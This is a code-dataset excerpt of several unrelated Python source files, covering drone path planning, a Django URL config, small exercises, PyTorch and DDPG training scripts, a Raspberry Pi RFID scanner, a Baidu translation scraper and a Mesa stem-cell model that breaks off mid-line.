+ p1[0], y + p1[1]))\n if f[x + 1] > y + p1[1] + 1:\n y += 1\n else:\n x += 1\n\n return cells\n\n def plan_path(self):\n self.flight_state = States.PLANNING\n print(\"Searching for a path ...\")\n TARGET_ALTITUDE = 2\n SAFETY_DISTANCE = 5\n\n self.target_position[2] = TARGET_ALTITUDE\n\n # TODO: read lat0, lon0 from colliders into floating point values\n f = open('colliders.csv', 'r+')\n l = f.readline()\n f.close()\n\n start_pos = dict((x.strip(), float(y.strip()))\n for x, y in (element.split(' ')\n for element in l.split(', ')))\n\n # TODO: set home position to (lon0, lat0, 0)\n self.set_home_position(start_pos['lon0'], start_pos['lat0'], 0)\n\n # TODO: retrieve current global position\n global_position = self.global_position\n\n # Retrieve your current position in geodetic coordinates from\n # self._latitude, self._longitude and self._altitude. Then\n # use the utility function global_to_local() to convert to local\n # position (using self.global_home as well, which you just set)\n\n # TODO: convert to current local position using global_to_local()\n local_position = global_to_local([self._longitude, self._latitude, self._altitude], self.global_home)\n\n print('global home {0}, position {1}, local position {2}'.format(self.global_home, self.global_position,\n self.local_position))\n # Read in obstacle map\n data = np.loadtxt('colliders.csv', delimiter=',', dtype='Float64', skiprows=2)\n\n # Define a grid for a particular altitude and safety margin around obstacles\n grid, north_offset, east_offset = create_grid(data, TARGET_ALTITUDE, SAFETY_DISTANCE)\n print(\"North offset = {0}, east offset = {1}\".format(north_offset, east_offset))\n # Define starting point on the grid (this is just grid center)\n grid_start = (-north_offset, -east_offset)\n # TODO: convert start position to current position rather than map center\n grid_start = (-north_offset + math.floor(self.local_position[0]),\n -east_offset + math.floor(self.local_position[1]))\n\n # Set goal as some arbitrary position on the grid\n # TODO: adapt to set goal as latitude / longitude position and convert\n\n # Test path 1: just a straight line from starting point\n goal_lat = 37.7924\n goal_lon = -122.3974\n\n # Test path 2: around the corner\n # goal_lat = 37.793933\n # goal_lon = -122.397336\n\n # Test path 3\n goal_lat = 37.793532\n goal_lon = -122.397781\n\n goal_lat = 37.797366\n goal_lon = -122.394869\n\n goal_local = global_to_local([goal_lon, goal_lat, 0], self.global_home)\n grid_goal = (-north_offset + math.floor(goal_local[0]),\n -east_offset + math.floor(goal_local[1]))\n\n # Run A* to find a path from start to goal\n # TODO: add diagonal motions with a cost of sqrt(2) to your A* implementation\n # or move to a different search space such as a graph (not done here)\n print('Local Start and Goal: ', grid_start, grid_goal)\n path, _ = a_star(grid, heuristic, grid_start, grid_goal)\n\n # TODO: prune path to minimize number of waypoints\n\n # we start trying to fly a straight line from start to goal.\n segments = [(0, len(path) - 1)]\n\n while segments:\n current_segment = segments.pop()\n ray_points = self.raytrace(path[current_segment[0]], path[current_segment[1]])\n if all(grid[p[0], p[1]] == 0 for p in ray_points):\n for p in [path[i] for i in range(current_segment[0] + 1, current_segment[1] - 1)]:\n path.remove(p)\n else: # if we're not successful, we halve the way into two equal segments and try again\n mid_id = current_segment[0] + math.floor((current_segment[1] - current_segment[0]) / 2)\n if current_segment[0] != mid_id:\n segments.append((current_segment[0], mid_id))\n if mid_id + 1 != current_segment[1]:\n segments.append((mid_id + 1, current_segment[1]))\n\n # Plot the execution path\n plt.imshow(grid, cmap='Greys', origin='lower')\n plt.plot(grid_start[1], grid_start[0], 'x')\n plt.plot(grid_goal[1], grid_goal[0], 'o')\n\n plt.title = \"2D path seen from above\"\n pruned_path = np.array(path)\n plt.plot(pruned_path[:, 1], pruned_path[:, 0], 'g')\n plt.scatter(pruned_path[:, 1], pruned_path[:, 0])\n plt.grid(True)\n plt.xlabel('EAST')\n plt.ylabel('NORTH')\n plt.show()\n\n # Convert path to waypoints\n waypoints = [[p[0] + north_offset, p[1] + east_offset, TARGET_ALTITUDE, 0] for p in path]\n # Set self.waypoints\n self.waypoints = waypoints\n # TODO: send waypoints to sim (this is just for visualization of waypoints)\n self.send_waypoints()\n\n def start(self):\n self.start_log(\"Logs\", \"NavLog.txt\")\n\n print(\"starting connection\")\n self.connection.start()\n\n # Only required if they do threaded\n # while self.in_mission:\n # pass\n\n self.stop_log()\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--port', type=int, default=5760, help='Port number')\n parser.add_argument('--host', type=str, default='127.0.0.1', help=\"host address, i.e. '127.0.0.1'\")\n args = parser.parse_args()\n\n conn = MavlinkConnection('tcp:{0}:{1}'.format(args.host, args.port), timeout=60)\n drone = MotionPlanning(conn)\n time.sleep(1)\n\n drone.start()\n","repo_name":"bot-motion/FCND","sub_path":"FCND-Motion-Planning/motion_planning.py","file_name":"motion_planning.py","file_ext":"py","file_size_in_byte":10222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22004337537","text":"\nfrom django.conf.urls import url\nfrom views import *\n\nurlpatterns=[\n url(r'^login/$',loginUser,name='user_login'),\n url(r'^register/$',registerUser,name='user_register'),\n url(r'^logout/$',logoutUser,name='user_logout'),\n url(r'^bootstrap/$',bootStrap,name='bootstrap_data'),\n url(r'^$',Landing.as_view(),name=\"landing\"),\n url(r'^robots\\.txt/$', TemplateView.as_view(template_name='general/robots.txt', content_type='text/plain')),\n url(r'about/^$',About.as_view(),name=\"about\"),\n\n]","repo_name":"amitsethi0843/wyrelist","sub_path":"operations/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"492845933","text":"fromYear = int(input(\"Count Leapear Min from : \"))\ntoYear = int(input(\"Count Leapear Min To : \"))\nprint(\"-------------------------------------\")\ndays = 0\nwhile fromYear <= toYear:\n if fromYear %4== 0 and fromYear %100 != 0 or fromYear %400 == 0:\n print(fromYear, \" is leapyear - 366 days\")\n days += 366\n else:\n print(fromYear, \" is not leapyear - 365 days\")\n days = days + 365\n \n fromYear +=1\n\ntotalMiniute = days * 1440\nprint(\"-----------------------------------\")\nprint(\"Total Days = \", days)\nprint(\"Total Miniutes = \", totalMiniute)","repo_name":"Islam2718/swim-with-python","sub_path":"100_days_challenges/Day11_counting_miniutes_between_two_year.py","file_name":"Day11_counting_miniutes_between_two_year.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"15004225950","text":"import os\n\nimport numpy as np \nimport pandas as pd \n\nimport torch\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader, TensorDataset, random_split\nfrom lmf.lightning_matrix_factorization import LightningMatrixFactorization\n\nimport pytorch_lightning as pl\n\nif __name__ == \"__main__\":\n\n # magic numbers\n batch_size = 262144\n learning_rate = 1e-3\n embedding_size = 32\n max_epochs = 100\n checkpoint_every = 10\n # dataloader cpu cores, based on Kaggle GPU notebooks.\n num_workers = 16\n\n file_path = os.path.abspath(__file__)\n root_path = os.path.split(os.path.split(file_path)[0])[0]\n\n print(root_path)\n my_filepath = os.path.join(root_path, \"data\", \"ratings.csv\")\n df = pd.read_csv(my_filepath)\n df = df.sample(frac=1).reset_index(drop=True)\n df = df[:1000000]\n\n print(len(df))\n\n test_split = int(0.2 * len(df))\n\n train_df = df[:-2*test_split]\n val_df = df[-2*test_split:-test_split]\n test_df = df[-test_split:]\n\n users = torch.tensor(train_df.user_id.values).long()\n books = torch.tensor(train_df.book_id.values).long()\n ratings = torch.tensor(train_df.rating.values).float()\n dataset = TensorDataset(users, books, ratings)\n\n train_loader = DataLoader(dataset, batch_size=batch_size, num_workers=num_workers)\n\n val_users = torch.tensor(val_df.user_id.values).long()\n val_books = torch.tensor(val_df.book_id.values).long()\n val_ratings = torch.tensor(val_df.rating.values).float()\n val_dataset = TensorDataset(val_users, val_books, val_ratings)\n\n val_loader = DataLoader(val_dataset, batch_size=batch_size, num_workers=num_workers)\n\n number_of_users = np.max(df[\"user_id\"])+1\n number_of_books = np.max(df[\"book_id\"])+1\n\n lmf = LightningMatrixFactorization(number_of_books, number_of_users)\n\n if torch.cuda.is_available():\n trainer = pl.Trainer(accelerator=\"gpu\", devices=1, max_epochs=max_epochs)\n else:\n trainer = pl.Trainer(max_epochs=max_epochs)\n\n trainer.fit(model=lmf, train_dataloaders=train_loader, val_dataloaders=val_loader) \n # testing evaluation\n with torch.no_grad():\n \n test_users = torch.tensor(test_df.user_id.values).long()\n test_books = torch.tensor(test_df.book_id.values).long()\n test_ratings = torch.tensor(test_df.rating.values).float()\n \n lmf.eval()\n test_prediction = lmf(test_users, test_books)\n \n test_loss = F.mse_loss(test_prediction, test_ratings)\n \n test_msg = f\"MSE loss for test data = {test_loss:.3} \\n\"\n print(test_msg)\n\n for hh in range(10):\n # see a few examples of predictions\n lmf.eval()\n \n my_index = np.random.randint(len(test_users))\n \n my_prediction = lmf(test_users[my_index], test_books[my_index])\n \n msg = f\"Test set prediction {my_prediction}, ground truth: {test_ratings[my_index]}\"\n print(msg)\n\n","repo_name":"riveSunder/LightningMatrixFactorization","sub_path":"lmf/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72607920039","text":"#--------------------Project RFID Time-Attendance Scanner-----------------------\n# sudo raspi-config (To configure pins to read data from scanner).\n# sudo pip3 install spidev (To communicate with the scanner).\n# sudo pip3 install mfrc522 (This is for the scanner).\n# mkdir ~/pi-rfid \n# python3 ~/pi-rfid/RFID_scanner.py (Run the Script after saving)\n#\n# SDA connects to GPIO8 (Physical Pin 24) \n# SCK connects to GPIO11 (Physical Pin 23)\n# MOSI connects to GPIO10 (Physical Pin 19)\n# MISO connects to GPIO9 (Physical Pin 21)\n# GND connects to Breadboard Ground Rail.\n# RST connects to GPIO25 (Physical Pin 22)\n# 3.3v connects to 3v3 (Physical Pin 1)\n#\n\n#!/usr/bin/env python\n#********************************Libraries*************************************#\n\nimport requests # API Library\nfrom datetime import datetime\nimport RPi.GPIO as GPIO # All the functions needed to interact with GPIO Pins (pip install RPi.GPIO)\nfrom mfrc522 import SimpleMFRC522 # this is what we will use actually to talk with the RFID RC522 (https://github.com/pimylifeup/MFRC522-python) \nimport Adafruit_CharLCD as LCD # An LCD to show they have been scanned (git clone https://github.com/pimylifeup/Adafruit_Python_CharLCD.git)\nimport os as os # For File removal\nimport json as json # To store in JSon format. \n\n#******************************************************************************#\n#*******************************API Connection*********************************#\n\nurl = \"https://test.com/post\"\ntimeout = 5\nconnection = requests.post(\"https://test.com/post\", timeout=timeout)\n\n#******************************************************************************#\n\nreader = SimpleMFRC522() # Creates an object to store all our variables.\nlcd = LCD.Adafruit_CharLCD(4, 24, 23, 17, 18, 22, 16, 2, 4);\n# Raspberry Pi pin configuration:\n#lcd_rs = 4\n#lcd_en = 24\n#lcd_d4 = 23\n#lcd_d5 = 17\n#lcd_d6 = 18\n#lcd_d7 = 22\n\n#*****************************Main Body Code***********************************#\ntry:\n while True:\n # This block of code is if we want to read data to the LCD.\n LCD.clear() # Clears LCD.\n LCD.message('Place Card to\\nregister') # Prints message on LCD.\n id, text = reader.read() # Scans for Card.\n print(id) # Prints ID scanned to terminal.\n LCD.clear() # Clears LCD. \n LCD.message(\"User Scanned: \" + id) # Prints ID on LCD.\n \n if connection: # Checks if can connect with API\n \n if os.path.exists(\"card_data.json\"): # Check if file exists\n with open('card_data.json') as f:\n data = json.load(f)\n for person in data: # Loop through each card data and send to API\n response = requests.post(url, json=person)\n response.json()\n\n os.remove(\"card_data.json\") # Removes any local files of card once sent.\n\n # Gets Current Date and Time\n now = datetime.now() \n dt_string = now.strftime(\"%d/%m/%Y - %H:%M:%S\")\n\n # Sends data to API after checking files for card data\n todo = {\"card_id\": id, \"date_t\": dt_string}\n response = requests.post(url, json=todo)\n response.json()\n \n else: # Stores card data on file if no connection with API. \n#********************Stores each card scan in the json file********************* \n # THIS PREPARES THE DATA FOR STORING\n\n # Gets Current Date and Time\n now = datetime.now() \n # Changes Format of time.\n dt_string = now.strftime(\"%d/%m/%Y - %H:%M:%S\")\n # Stores data in this JSON format\n data = [{\n 'card_uid': id,\n 'date_t': dt_string,\n }] \n\n # THIS IF STATEMENT IS WHAT WRITES TO THE JSON FILE.\n\n # Check if file exists to append to the existing data in JSON format\n if os.path.exists(\"card_data.json\"): \n with open('card_data.json') as outfile:\n array = json.load(outfile)\n\n array.append(data)\n \n with open(\"card_data.json\", \"w\") as f:\n json.dump(array, f, indent=4)\n\n # If first time storing data, it will create the file.\n else: \n json_object = json.dumps(data, indent = 2)\n with open(\"card_data.json\", \"w\") as f:\n f.write(json_object) \n \nfinally:\n GPIO.cleanup() # Cleans up","repo_name":"joey101/arduino","sub_path":"RFID/RFID.py","file_name":"RFID.py","file_ext":"py","file_size_in_byte":5186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41689598827","text":"# Author: Mohamed Shammas Mohamed Ali Manaf \r\n# Date : 2018-02-24\r\n# Description : Program that calculates the smallest number divisible evenly by all numbers between 0 and 20\r\n# References : https://www.programiz.com/python-programming/break-continue\r\n#\t https://www.pythoncentral.io/pythons-range-function-explained/\r\n# Note : The program took almost 3 minutes to display the o/p because of the volume of loops involved.\r\n\r\nsmallestNum = 0 \t\t\t\t\t\t\t\t\t\t# variable to assign the smallest number\r\nintValue = 0\t\t\t\t\t\t\t\t\t\t\t# variable for iterating over the integers; starting at zero\r\nwhile smallestNum == 0: \t\t\t\t\t\t\t\t# this while loop will iterate through all integers until the smallest evenly divisble number is found\r\n\t#print(i)\r\n\tfor divisor in range(1,21):\t\t\t\t\t\t\t# the range returns the list of integers from 1 to 20\r\n\t\tif intValue % divisor == 0: \t\t\t\t\t# check if number contained in the current \"intValue\" is evenly divisble by the \"divisor\"\r\n\t\t\tif divisor == 20 and intValue % divisor == 0: # assume if the divisor is 20, at this stage the \"intValue\" should be divisible by all integers preceeding the \"divisor\" in numerical order.\r\n\t\t\t\tsmallestNum = intValue\t\t\t\t\t # assign the current value in intValue to smallestNum\r\n\t\t\t\tbreak;\r\n\t\telse:\r\n\t\t\tbreak;\t\t\t\t\t\t\t\t\t\t# break the looping if the value in intValue is not evenly divisble by any of the elements in the range list.\r\n\tintValue+=1\t\t\t\t\t\t\t\t\t\t\t# increment the value of intValue by 1\r\nprint('The smallest number evenly divisible by all number bewteen and incluing 1 and 20 is : ',smallestNum)\t\t\t\t\t\t\t\t\t\t# Display value\r\n\t\t\r\n# Output of the program is follows:\r\n# c:\\GMIT\\Scripting\\Week5 -- Smallest Number divisible>python SmallestNum.py \r\n# The smallest number evenly divisible by all number bewteen and incluing 1 and 20 is : 232792560 \r\n","repo_name":"shammas012/Python_Exercises","sub_path":"SmallestNum.py","file_name":"SmallestNum.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"18621116472","text":"dim=input(\"Input square matrix dimension (4 - default) \")\nprn=input(\"Print matrix in square or row(s/r, square - default) \")\nif not prn:\n prn=\"s\"\nif not dim:\n dim=4\nelse:\n dim=int(dim)\nls=[]\nls_inner=[]\ns=0\nfor i in range(dim):\n ls_inner+=([(i*dim+j+1) for j in range(dim)])\n s+=sum(ls_inner)\n ls.append(ls_inner)\n if prn.lower()==\"s\":\n print(ls_inner)\n ls_inner=[]\nif prn.lower()==\"r\":\n print(ls)\nprint(f\"Sum of all elemets of matrix {s}\")\n","repo_name":"AlexseySukhanov/HomeWork5","sub_path":"Task8.py","file_name":"Task8.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22703836996","text":"import os\r\nimport gym\r\nfrom gym.wrappers.monitoring.video_recorder import VideoRecorder\r\nimport pdb\r\nimport numpy as np\r\nimport random\r\nfrom collections import deque\r\nfrom tqdm import tqdm\r\n\r\nimport torch\r\nimport torch.nn.functional as F\r\n\r\nfrom CustomTensorBoard import ModifiedTensorBoard\r\n\r\n\r\nimport time\r\nfrom copy import deepcopy\r\n\r\n\r\nfrom normalizer import Normalizer\r\nfrom models import Actor, Critic\r\nfrom buffer import ReplayBuffer\r\nfrom arguments import GetArgs\r\nfrom mujoco_py import GlfwContext\r\nGlfwContext(offscreen=True) # Create a window to init GLFW.\r\n\r\n\r\nclass Agent:\r\n def __init__(self,env, env_params, args, models=None, record_episodes=[0,.1,.25,.5,.75,1.]):\r\n self.env= env\r\n self.env_params = env_params\r\n self.args = args\r\n\r\n\r\n # networks\r\n if models == None:\r\n self.actor = Actor(self.env_params).double()\r\n self.critic = Critic(self.env_params).double()\r\n else:\r\n self.actor , self.critic = self.LoadModels()\r\n # target networks used to predict env actions with\r\n self.actor_target = Actor(self.env_params,).double()\r\n self.critic_target = Critic(self.env_params).double()\r\n\r\n self.actor_target.load_state_dict(self.actor.state_dict())\r\n self.critic_target.load_state_dict(self.critic.state_dict())\r\n\r\n if self.args.cuda:\r\n self.actor.cuda()\r\n self.critic.cuda()\r\n self.actor_target.cuda()\r\n self.critic_target.cuda()\r\n\r\n\r\n self.actor_optim = torch.optim.Adam(self.actor.parameters(), lr=0.001)\r\n self.critic_optim = torch.optim.Adam(self.critic.parameters(), lr=0.001)\r\n\r\n self.normalize = Normalizer(env_params,self.args.gamma)\r\n self.buffer = ReplayBuffer(1_000_000, self.env_params)\r\n self.tensorboard = ModifiedTensorBoard(log_dir = f\"logs\")\r\n self.record_episodes = [int(eps * self.args.n_epochs) for eps in record_episodes]\r\n\r\n def ModelsEval(self):\r\n self.actor.eval()\r\n self.actor_target.eval()\r\n self.critic.eval()\r\n self.critic_target.eval()\r\n\r\n def ModelsTrain(self):\r\n self.actor.train()\r\n self.actor_target.train()\r\n self.critic.train()\r\n self.critic_target.train()\r\n\r\n def GreedyAction(self, state):\r\n self.ModelsEval()\r\n with torch.no_grad():\r\n state = torch.tensor(state, dtype=torch.double).unsqueeze(dim=0)\r\n if self.args.cuda:\r\n state = state.cuda()\r\n action = self.actor.forward(state).detach().cpu().numpy().squeeze()\r\n return action\r\n\r\n def NoiseAction(self, state):\r\n self.ModelsEval()\r\n with torch.no_grad():\r\n state = torch.tensor(state, dtype=torch.double).unsqueeze(dim=0)\r\n if self.args.cuda:\r\n state = state.cuda()\r\n action = self.actor.forward(state).detach().cpu().numpy()\r\n action += self.args.noise_eps * self.env_params['max_action'] * np.random.randn(*action.shape)\r\n action = np.clip(action, -self.env_params['max_action'], self.env_params['max_action'])\r\n return action.squeeze()\r\n\r\n def Update(self):\r\n self.ModelsTrain()\r\n for i in range(self.args.n_batch):\r\n state, a_batch, r_batch, nextstate, d_batch = self.buffer.SampleBuffer(self.args.batch_size)\r\n a_batch = torch.tensor(a_batch,dtype=torch.double)\r\n r_batch = torch.tensor(r_batch,dtype=torch.double)\r\n # d_batch = torch.tensor(d_batch,dtype=torch.double)\r\n state = torch.tensor(state,dtype=torch.double)\r\n nextstate = torch.tensor(nextstate,dtype=torch.double)\r\n # d_batch = 1 - d_batch\r\n\r\n if self.args.cuda:\r\n a_batch = a_batch.cuda()\r\n r_batch = r_batch.cuda()\r\n # d_batch = d_batch.cuda()\r\n state = state.cuda()\r\n nextstate = nextstate.cuda()\r\n\r\n with torch.no_grad():\r\n action_next = self.actor_target.forward(nextstate)\r\n q_next = self.critic_target.forward(nextstate,action_next)\r\n q_next = q_next.detach().squeeze()\r\n q_target = r_batch + self.args.gamma * q_next\r\n q_target = q_target.detach().squeeze()\r\n\r\n q_prime = self.critic.forward(state, a_batch).squeeze()\r\n critic_loss = F.mse_loss(q_target, q_prime)\r\n\r\n action = self.actor.forward(state)\r\n actor_loss = -self.critic.forward(state, action).mean()\r\n # params = torch.cat([x.view(-1) for x in self.actor.parameters()])\r\n # l2_reg = self.args.l2_norm *torch.norm(params,2)\r\n # actor_loss += l2_reg\r\n\r\n self.actor_optim.zero_grad()\r\n actor_loss.backward()\r\n self.actor_optim.step()\r\n\r\n self.critic_optim.zero_grad()\r\n critic_loss.backward()\r\n self.critic_optim.step()\r\n\r\n self.SoftUpdateTarget(self.critic, self.critic_target)\r\n self.SoftUpdateTarget(self.actor, self.actor_target)\r\n\r\n def Explore(self):\r\n for epoch in range(self.args.n_epochs +1):\r\n start_time = time.process_time()\r\n for cycle in range(self.args.n_cycles):\r\n for _ in range(self.args.num_rollouts_per_mpi):\r\n state = self.env.reset()\r\n for t in range(self.env_params['max_timesteps']):\r\n action = self.NoiseAction(state)\r\n nextstate, reward, done, info = self.env.step([action])\r\n nextstate = nextstate.squeeze()\r\n reward = self.normalize.normalize_reward(reward)\r\n self.buffer.StoreTransition(state, action, reward, nextstate, done)\r\n state = nextstate\r\n self.Update()\r\n avg_reward = self.Evaluate()\r\n self.tensorboard.step = epoch\r\n elapsed_time = time.process_time() - start_time\r\n print(f\"Epoch {epoch} of total of {self.args.n_epochs +1} epochs, average reward is: {avg_reward}.\\\r\n Elapsedtime: {int(elapsed_time /60)} minutes {int(elapsed_time %60)} seconds\")\r\n if epoch % 5 or epoch + 1 == self.args.n_epochs:\r\n self.SaveModels(epoch)\r\n self.record(epoch)\r\n\r\n\r\n def Evaluate(self):\r\n self.ModelsEval()\r\n total_reward = []\r\n episode_reward = 0\r\n succes_rate = []\r\n for episode in range(self.args.n_evaluate):\r\n state = self.env.reset()\r\n episode_reward = 0\r\n for t in range(self.env_params['max_timesteps']):\r\n action = self.GreedyAction(state)\r\n nextstate, reward, done, info = self.env.step([action])\r\n episode_reward += reward\r\n state = nextstate\r\n if done or t + 1 == self.env_params['max_timesteps']:\r\n total_reward.append(episode_reward)\r\n episode_reward = 0\r\n\r\n average_reward = sum(total_reward)/len(total_reward)\r\n min_reward = min(total_reward)\r\n max_reward = max(total_reward)\r\n self.tensorboard.update_stats(reward_avg=average_reward, reward_min=min_reward, reward_max=max_reward)\r\n return average_reward\r\n\r\n def record(self, epoch):\r\n self.ModelsEval()\r\n try:\r\n if not os.path.exists(\"videos\"):\r\n os.mkdir('videos')\r\n recorder = VideoRecorder(self.env, path=f'videos/epoch-{epoch}.mp4')\r\n for _ in range(self.args.n_record):\r\n done =False\r\n state = self.env.reset()\r\n while not done:\r\n recorder.capture_frame()\r\n action = self.GreedyAction(state)\r\n nextstate,reward,done,info = self.env.step([action])\r\n state = nextstate\r\n recorder.close()\r\n except Exception as e:\r\n print(e)\r\n\r\n def SaveModels(self, ep):\r\n if not os.path.exists(\"models\"):\r\n os.mkdir('models')\r\n torch.save(self.actor.state_dict(), os.path.join('models', 'Actor.pt'))\r\n torch.save(self.critic.state_dict(), os.path.join('models', 'Critic.pt'))\r\n\r\n def LoadModels(self, actorpath, criticpath):\r\n actor = Actor(self.env_params, self.hidden_neurons)\r\n critic = Critic(self.env_params, self.hidden_neurons)\r\n actor.load_state_dict(torch.load(actorpath))\r\n critic.load_state_dict(torch.load(criticpath))\r\n return actor, critic\r\n\r\n def SoftUpdateTarget(self, source, target):\r\n for target_param, param in zip(target.parameters(), source.parameters()):\r\n target_param.data.copy_((1 - self.args.polyak) * param.data + self.args.polyak * target_param.data)\r\n\r\n","repo_name":"raphael-fortunato/Ddpg","sub_path":"ddpg_agent.py","file_name":"ddpg_agent.py","file_ext":"py","file_size_in_byte":8949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13506143262","text":"import requests,bs4,lxml,os,json,sys,json,urllib.request\r\n\r\narray_json = json.loads(sys.argv[1])\r\n\r\npath = os.getcwd()\r\nurl = 'http://fanyi.baidu.com/v2transapi'\r\n\r\nlanguage_dict = {\"日本\":\"jp\",\"俄国\":\"ru\",\"韩国\":\"kor\",\"中国\":\"zh\",\"繁体\":\"cht\",\"英语\":\"en\"}\r\n\r\nfrom_data = language_dict[array_json['country_src']]\r\nto_data = language_dict[array_json['country_des']]\r\n\r\nconntect_data = urllib.request.quote(array_json['fanyi_src'])\r\n\r\ndata = 'from='+from_data+'&to='+to_data +'&query='+conntect_data+'&transtype=realtime&simple_means_flag=3'\r\nheaders = {\r\n 'Host': 'fanyi.baidu.com',\r\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',\r\n \r\n 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',\r\n 'Accept-Encoding': 'gzip, deflate',\r\n 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\r\n 'X-Requested-With': 'XMLHttpRequest',\r\n 'Referer': 'http://fanyi.baidu.com/',\r\n\r\n 'Connection': 'keep-alive'}\r\n \r\nr = requests.post(url,headers = headers ,data = data)\r\nresponse = r.text\r\ncontent = json.loads(response)\r\ntry:\r\n \r\n print(content['trans_result']['data'][0]['dst'])\r\n \r\nexcept:\r\n print('')\r\n\r\n\r\n","repo_name":"huaSoftware/Convenience-shop","sub_path":"py/fanyi.py","file_name":"fanyi.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14050327740","text":"\nfrom typing import DefaultDict\nfrom matplotlib.pyplot import sca\nfrom mesa import Model, Agent\nfrom mesa.time import BaseScheduler, StagedActivation\nfrom mesa.datacollection import DataCollector\nfrom mesa.space import ContinuousSpace\nfrom mesa.visualization.TextVisualization import TextData\nimport math\nimport Brandon\nimport copy\nimport Constants\n\nclass ABM(Model):\n '''Creation of Agent-Based-Model Class\n Stages of Model Per Tick: \"movement\" , \"reaction_regulation\" , \"differentiation_tick\" , \"tracking_update\"\n Global Variables:\n num_stem_cells : Int\n sauce : Boolean : True if model will measure cell differentiation after a certain diff_timer elapses\n num_BMP4 : Int\n num_NOG : Int\n spawn_freq : Int : How much energy a given StemCell needs to reproduce\n diff_timer : Int\n endo_min : Int : How much concentration of BMP4 a Stem Cell needs to come into contact to at minimum differntiate into an endoderm cell\n ecto_max : Int : How little concentration of BMP4 a Stem Cell needs to come into contact to at maximum differntiate into an ectoderm cell\n one_cells_contact : Int : This attribute is used to test, it is designed to take an arbitraty Stem Cell each step and access its chemical contact\n start_diff : Boolean : When this is True, start positional differentiation if other Stem Cells have already differentiated nearby\n stem_cell_ex : StemCell : This attribute is used to latch onto a StemCell for purposes of tracking\n stem_cell_ex_diff : Boolean : This attribute indicates the example StemCell's differentiation status\n avg_x : Float : Indicates the Average X Value of all Stem Cells\n avg_y : Float : Indicates the Average Y Value of all Stem Cells\n avg_radius : Float : Indicates the Average Distance of all Stem Cells to the Centroid\n schedule : StagedActivation : Staged Activation Schedule that Follows the Stages listed above\n running : True : Batch will continually run this model's steps indefinitely'''\n\n def __init__(self, num_stem_cells: int , sauce: bool , num_BMP4: int , num_NOG: int , spawn_freq: int , diff_timer: int , endo_min: int , ecto_max: int , max_x:int=20 , max_y:int=20) -> None:\n self.num_stem_cells = num_stem_cells\n self.sauce = sauce\n self.num_BMP4 = num_BMP4\n self.num_NOG = num_NOG\n self.spawn_freq = spawn_freq\n self.diff_timer = diff_timer\n self.endo_min = endo_min\n self.ecto_max = ecto_max\n self.one_cells_contact = 0\n self.start_diff = False\n self.stem_cell_ex = None\n self.stem_cell_ex_diff = None\n self.avg_x = 0\n self.avg_y = 0\n self.avg_radius = 0\n self.schedule = BaseScheduler(self)\n self.running = True\n self.space = ContinuousSpace(max_x , max_y , False , 0 , 0)\n self.center_pos = self.space.center\n self.currentIDNum = 0\n self.hasCells = True\n self.cellTouchingDict = {}\n for i in range(1 , Constants.NUM_STEM_CELLS + 1):\n self.cellTouchingDict[i] = []\n self.end_time = 0\n self.mConcX = 0\n self.mConcY = 0\n self.mR = 0\n self.cells = []\n self.NOG = []\n self.BMP4 = []\n self.BMP4vector = Brandon.unot\n self.setup()\n \n \n\n def setup(self):\n #Add StemCells to the Space\n if self.hasCells == True:\n for i in range(self.num_stem_cells):\n self.currentIDNum += 1\n c = StemCell(self.currentIDNum , self)\n self.schedule.add(c)\n r = self.random.random() * 1\n theta = self.random.random() * 2 * math.pi\n x = r * math.cos(theta) + self.center_pos[0]\n y = r * math.sin(theta) + self.center_pos[1]\n self.space.place_agent(c , (x , y))\n self.cells.append(c)\n self.stem_cell_ex = self.space._index_to_agent[self.random.randrange(0 , len(self.space._agent_points))]\n self.stem_cell_ex_diff = self.stem_cell_ex.differentiated\n\n\n\n #Add BMP4 to the Space\n for i in range(self.num_BMP4):\n self.currentIDNum += 1\n n = BMP4(self.currentIDNum, self)\n self.schedule.add(n)\n r = self.random.random()\n theta = self.random.random() * 2 * math.pi\n x = r * math.cos(theta) + self.center_pos[0]\n y = r * math.sin(theta) + self.center_pos[1]\n self.space.place_agent(n , (x , y))\n\n self.BMP4.append(n)\n\n #Add NOG to the Space\n for i in range(self.num_NOG):\n self.currentIDNum += 1\n l = NOG(self.currentIDNum, self)\n self.schedule.add(l)\n r = self.random.random()\n theta = self.random.random() * 2 * math.pi\n x = r * math.cos(theta) + self.center_pos[0]\n y = r * math.sin(theta) + self.center_pos[1]\n self.space.place_agent(l , (x , y))\n\n self.NOG.append(l)\n\n self.calcAvgs()\n \n \n\n\n\n\n def calcAvgs(self):\n x = 0\n y = 0\n r = 0\n for agent in self.space._agent_to_index:\n if type(agent) == StemCell:\n x += agent.pos[0]\n y += agent.pos[1]\n \n\n x = x / self.num_stem_cells\n y = y / self.num_stem_cells\n centroid = (x , y)\n for agent in self.space._agent_to_index:\n if type(agent) == StemCell:\n r += self.space.get_distance(centroid , agent.pos)\n r = r / self.num_stem_cells\n self.avg_x = x\n self.avg_y = y\n self.avg_radius = r\n\n\n\n \n \n\n def cascade(self):\n for agent in self.space._agent_to_index:\n if type(agent) == StemCell:\n neighbors = 